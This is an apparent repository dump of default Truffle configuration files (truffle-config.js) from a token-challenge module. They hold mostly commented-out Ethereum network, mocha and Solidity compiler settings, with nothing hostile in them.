, // Account to send txs from (default: accounts[0]) 58 | // websockets: true // Enable EventEmitter interface for web3 (default: false) 59 | // }, 60 | 61 | // Useful for deploying to a public network. 62 | // NB: It's important to wrap the provider as a function. 63 | // ropsten: { 64 | // provider: () => new HDWalletProvider(mnemonic, `https://ropsten.infura.io/v3/YOUR-PROJECT-ID`), 65 | // network_id: 3, // Ropsten's id 66 | // gas: 5500000, // Ropsten has a lower block limit than mainnet 67 | // confirmations: 2, // # of confs to wait between deployments. (default: 0) 68 | // timeoutBlocks: 200, // # of blocks before a deployment times out (minimum/default: 50) 69 | // skipDryRun: true // Skip dry run before migrations? (default: false for public nets ) 70 | // }, 71 | 72 | // Useful for private networks 73 | // private: { 74 | // provider: () => new HDWalletProvider(mnemonic, `https://network.io`), 75 | // network_id: 2111, // This network is yours, in the cloud. 76 | // production: true // Treats this network as if it was a public net. (default: false) 77 | // } 78 | }, 79 | 80 | // Set default mocha options here, use special reporters etc. 81 | mocha: { 82 | // timeout: 100000 83 | }, 84 | 85 | // Configure your compilers 86 | compilers: { 87 | solc: { 88 | version: "0.5.4", // Fetch exact version from solc-bin (default: truffle's version) 89 | // docker: true, // Use "0.5.1" you've installed locally with docker (default: false) 90 | // settings: { // See the solidity docs for advice about optimization and evmVersion 91 | // optimizer: { 92 | // enabled: false, 93 | // runs: 200 94 | // }, 95 | // evmVersion: "byzantium" 96 | // } 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/05/truffle-config.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Use this file to configure your truffle project. It's seeded with some 3 | * common settings for different networks and features like migrations, 4 | * compilation and testing. Uncomment the ones you need or modify 5 | * them to suit your project as necessary. 6 | * 7 | * More information about configuration can be found at: 8 | * 9 | * truffleframework.com/docs/advanced/configuration 10 | * 11 | * To deploy via Infura you'll need a wallet provider (like truffle-hdwallet-provider) 12 | * to sign your transactions before they're sent to a remote public node. Infura accounts 13 | * are available for free at: infura.io/register. 14 | * 15 | * You'll also need a mnemonic - the twelve word phrase the wallet uses to generate 16 | * public/private key pairs. If you're publishing your code to GitHub make sure you load this 17 | * phrase from a file you've .gitignored so it doesn't accidentally become public. 18 | * 19 | */ 20 | 21 | // const HDWalletProvider = require('truffle-hdwallet-provider'); 22 | // const infuraKey = "fj4jll3k....."; 23 | // 24 | // const fs = require('fs'); 25 | // const mnemonic = fs.readFileSync(".secret").toString().trim(); 26 | 27 | module.exports = { 28 | /** 29 | * Networks define how you connect to your ethereum client and let you set the 30 | * defaults web3 uses to send transactions. If you don't specify one truffle 31 | * will spin up a development blockchain for you on port 9545 when you 32 | * run `develop` or `test`. You can ask a truffle command to use a specific 33 | * network from the command line, e.g 34 | * 35 | * $ truffle test --network 36 | */ 37 | 38 | networks: { 39 | // Useful for testing. The `development` name is special - truffle uses it by default 40 | // if it's defined here and no other network is specified at the command line. 41 | // You should run a client (like ganache-cli, geth or parity) in a separate terminal 42 | // tab if you use this network and you must also set the `host`, `port` and `network_id` 43 | // options below to some value. 44 | // 45 | // development: { 46 | // host: "127.0.0.1", // Localhost (default: none) 47 | // port: 8545, // Standard Ethereum port (default: none) 48 | // network_id: "*", // Any network (default: none) 49 | // }, 50 | 51 | // Another network with more advanced options... 52 | // advanced: { 53 | // port: 8777, // Custom port 54 | // network_id: 1342, // Custom network 55 | // gas: 8500000, // Gas sent with each transaction (default: ~6700000) 56 | // gasPrice: 20000000000, // 20 gwei (in wei) (default: 100 gwei) 57 | // from:
, // Account to send txs from (default: accounts[0]) 58 | // websockets: true // Enable EventEmitter interface for web3 (default: false) 59 | // }, 60 | 61 | // Useful for deploying to a public network. 62 | // NB: It's important to wrap the provider as a function. 63 | // ropsten: { 64 | // provider: () => new HDWalletProvider(mnemonic, `https://ropsten.infura.io/v3/YOUR-PROJECT-ID`), 65 | // network_id: 3, // Ropsten's id 66 | // gas: 5500000, // Ropsten has a lower block limit than mainnet 67 | // confirmations: 2, // # of confs to wait between deployments. (default: 0) 68 | // timeoutBlocks: 200, // # of blocks before a deployment times out (minimum/default: 50) 69 | // skipDryRun: true // Skip dry run before migrations? (default: false for public nets ) 70 | // }, 71 | 72 | // Useful for private networks 73 | // private: { 74 | // provider: () => new HDWalletProvider(mnemonic, `https://network.io`), 75 | // network_id: 2111, // This network is yours, in the cloud. 76 | // production: true // Treats this network as if it was a public net. (default: false) 77 | // } 78 | }, 79 | 80 | // Set default mocha options here, use special reporters etc. 81 | mocha: { 82 | // timeout: 100000 83 | }, 84 | 85 | // Configure your compilers 86 | compilers: { 87 | solc: { 88 | version: "0.5.4", // Fetch exact version from solc-bin (default: truffle's version) 89 | // docker: true, // Use "0.5.1" you've installed locally with docker (default: false) 90 | // settings: { // See the solidity docs for advice about optimization and evmVersion 91 | // optimizer: { 92 | // enabled: false, 93 | // runs: 200 94 | // }, 95 | // evmVersion: "byzantium" 96 | // } 97 | } 98 | } 99 | } 100 | --------------------------------------------------------------------------------